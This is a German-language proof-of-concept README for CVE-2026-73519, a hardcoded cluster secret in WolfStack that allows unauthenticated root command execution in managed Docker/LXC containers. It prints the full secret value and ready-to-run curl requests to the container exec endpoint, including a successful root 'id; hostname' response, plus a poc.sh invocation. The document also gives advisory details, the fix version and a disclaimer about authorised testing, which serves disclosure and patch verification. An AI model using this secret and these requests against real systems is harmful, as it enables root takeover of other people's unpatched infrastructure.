
PoC für CVE-2026-73519 - hartcodiertes Cluster-Secret in WolfStack führt zu nicht authentifizierter RCE (CVSS 9.8)
PoC für ein hartcodiertes Standard-Authentifizierungsgeheimnis in WolfStack, das es einem nicht authentifizierten Angreifer aus der Ferne ermöglicht, beliebige Befehle als root in jedem verwalteten Docker/LXC-Container auszuführen.
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| Advisory | GHSA-r3mw-2wmq-j6jg · VulnCheck-Analyse |
| CVSS 3.1 | 9.8 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798 (Hartcodierte Anmeldedaten), CWE-306 (Fehlende Authentifizierung für kritische Funktion) |
| Betroffen | v25.9.0 und früher / jeder Knoten, der die Migration zu einem installationsspezifischen Geheimnis nicht abgeschlossen hat |
| Behoben in | v25.9.2 / v25.9.3 |
| Entdecker | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32 liefert ein einzelnes hartcodiertes Geheimnis aus, das in jeden WolfStack-Build fest eingebettet ist:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted() (src/auth/mod.rs:430-460) akzeptiert diese Konstante standardmäßig als gültige Anmeldeinformation, sofern der Betreiber nicht ausdrücklich widersprochen hat (WOLFSTACK_REJECT_DEFAULT_SECRET=1) oder bereits auf ein eigenes Geheimnis umgestellt hat. api::require_auth() (src/api/mod.rs:518-535), das einzige Tor, das die gesamte REST-API schützt, behandelt eine Anfrage mit einem passenden X-WolfStack-Secret-Header als vollständig authentifiziert — keine Sitzung, kein API-Schlüssel, kein Konto.
Dieses Tor schützt POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167), das die vom Aufrufer gelieferte Befehlszeichenkette unverändert im Zielcontainer ausführt. Jeder, der den öffentlichen Quellcode (oder dieses Repository) gelesen hat, kann sich als vertrauenswürdiger Cluster-Peer authentifizieren und beliebige Befehle als root in jedem Container ausführen, den der Knoten verwaltet.
Die in diesem Release-Zyklus hinzugefügte automatische Generierung des installationsspezifischen Geheimnisses greift nur bei Knoten mit keiner vorhandenen Geheimnisdatei und keinen aufgezeichneten Peers (src/auth/mod.rs:250-261) — jeder aktualisierte Knoten, jeder Knoten, der auf die dokumentierte Race-Condition beim Start stößt, oder jeder Knoten mit einem nicht beschreibbaren Konfigurationspfad bleibt auf unbestimmte Zeit beim gemeinsamen Standard-Geheimnis, wobei nur eine Warnung in einer Protokollzeile ausgegeben wird.
Richten Sie TARGET und CONTAINER auf eine WolfStack-Instanz und einen Container aus, den Sie zu testen berechtigt sind, und führen Sie dann Folgendes aus:
./poc.sh http://TARGET:8553 CONTAINER_NAME
Oder manuell:
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

Verifiziert gegen die echte, prüfsummenverifizierte Release-Binärdatei v25.9.0 (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c) mit einem echten alpine:latest-Container als Ziel. Die Container-ID in der Antwortausgabe stimmt mit docker ps auf dem Opfer-Host überein.
/api/containers/docker, /api/containers/lxc), ohne Authentifizierung.require_auth geschützte Route (Peer-/Knotenverwaltung, Backups usw.) — dieses PoC zielt auf die Container-Exec-Senke als deutlichste Auswirkung, nicht auf eine erschöpfende Liste.Aktualisieren Sie auf v25.9.2 oder neuer. Der Maintainer hat die Akzeptanz des Standard-Geheimnisses auf standardmäßige Ablehnung (reject-by-default) umgestellt und einen erzwungenen Rotationspfad für bestehende Installationen hinzugefügt.
Veröffentlicht, nachdem der Fix ausgeliefert und die CVE vergeben wurde, für defensive/lehrreiche Zwecke — Überprüfung des Patch-Status in Ihrer eigenen Infrastruktur. Führen Sie dies nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.